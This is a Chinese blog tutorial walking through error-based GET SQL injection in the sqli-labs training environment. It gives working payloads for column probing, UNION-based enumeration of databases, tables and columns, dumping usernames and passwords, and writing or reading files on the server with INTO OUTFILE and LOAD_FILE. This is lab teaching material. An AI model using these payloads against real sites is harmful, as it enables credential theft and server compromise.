SQL注入之旅 : Sqli Labs Part 1 - GET报错注入

作者: 分类: Sql-Injection,Security 时间: 2017-03-27 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

抛弃“简单的跑工具,跑不出来就放弃“的局面,开始潜下心来好好理一理SQL注入。每篇文章可能包含了sqli-labs里面的几个实验。

0x02 使用到的语句

# 查看该表有几个字段
' ORDER BY 3 --+
" ORDER BY 3 --+
') ORDER BY 3 --+

# 找到有漏洞的字段
AND 1=2 UNION SELECT 1,2,3 --+

# 联合查询
AND 1=2 UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --+
AND 1=2 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+ (数据库十六进制)
AND 1=2 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name=0x7573657273 --+ (表的十六进制)
AND 1=2 UNION SELECT 1,GROUP_CONCAT(username,char(32),password),3 from users --+ 

# 读写文件
AND 1=2 UNION SELECT 1,2,"<?php phpinfo();?>" into outfile "C:/Apache2.2/htdocs/sqli/Less-1/info.php" --+
AND 1=2 UNION SELECT 1,2,load_file("C:/Apache2.2/htdocs/sqli/Less-1/info.php") --+

0x03 注入过程

我们来看前面4个实验都是GET报错注入,是类似的,一点小差别下面会讲。

先来看看第一个实验,最基础的注入了。

1) 检测是否存在注入

检测手法就是让语句报错:

'
"

我们看下图报错了:

error.png

因为此时查询数据库的语句变为这样,多了个'

SELECT * FROM users WHERE id='1'' LIMIT 0,1

2) 查看该表有几个字段

ORDER BY这个子句的作用就是让查询结构按照其中的某一列进行排序,比如这边查询出来的是3列,ORDER BY 3就是按照第三列来排序,但是如果ORDER BY 4就会报错了,因为第4列不存在。

orderby1.png

orderby.png

此时查询的语句变为:

SELECT * FROM users WHERE id='1' ORDER BY 4 -- ' LIMIT 0,1

3) 找到有漏洞的字段

联合查询,相当于查出新的一行(和前面的查询要相同的列),用AND 1=2把前面的查询否定掉,就能知道哪个字段能回显了。

unionselect.png

此时查询语句变为:

SELECT * FROM users WHERE id='1' AND 1=2 UNION SELECT 1,2,3 -- ' LIMIT 0,1

4) 联合查询 (借助information_schema数据库)

information_schema数据库应该是Mysql5.0以上才有的,下面附上information_schema数据库里重要的表:

schemata表:存了关于数据库的信息==>schema_name
tables表:存了所有表的信息==>table_name;table_schema
columns表:存了所有的列信息==>column_name;table_name;table_schema
statistics表:关于表索引的信息

下面是爆表,爆字段,爆内容的过程:

UNION1.png

UNION2.png

UNION3.png

UNION4.png

以最后爆字段为例,此时查询语句变为如下:

SELECT * FROM users WHERE id='1' AND 1=2 UNION SELECT 1,GROUP_CONCAT(username,char(32),password),3 from users -- ' LIMIT 0,1

5) 读写文件

INTO OUTFILE就能把查询出来的内容写到指定文件(要有对应目录的写权限),用LOAD_FILE()能读取文件内容:

outfile.png

LOADFILE.png

小结

到这边我们也差不多结束了,另外三个的区别就在于闭合语句分别使用'')")

基于报错的注入是最基本的注入,也是最常见的。

声明:文章基本原创,允许转载,但转载时必须以超链接的形式标明文章原始出处及作者信息。

添加新评论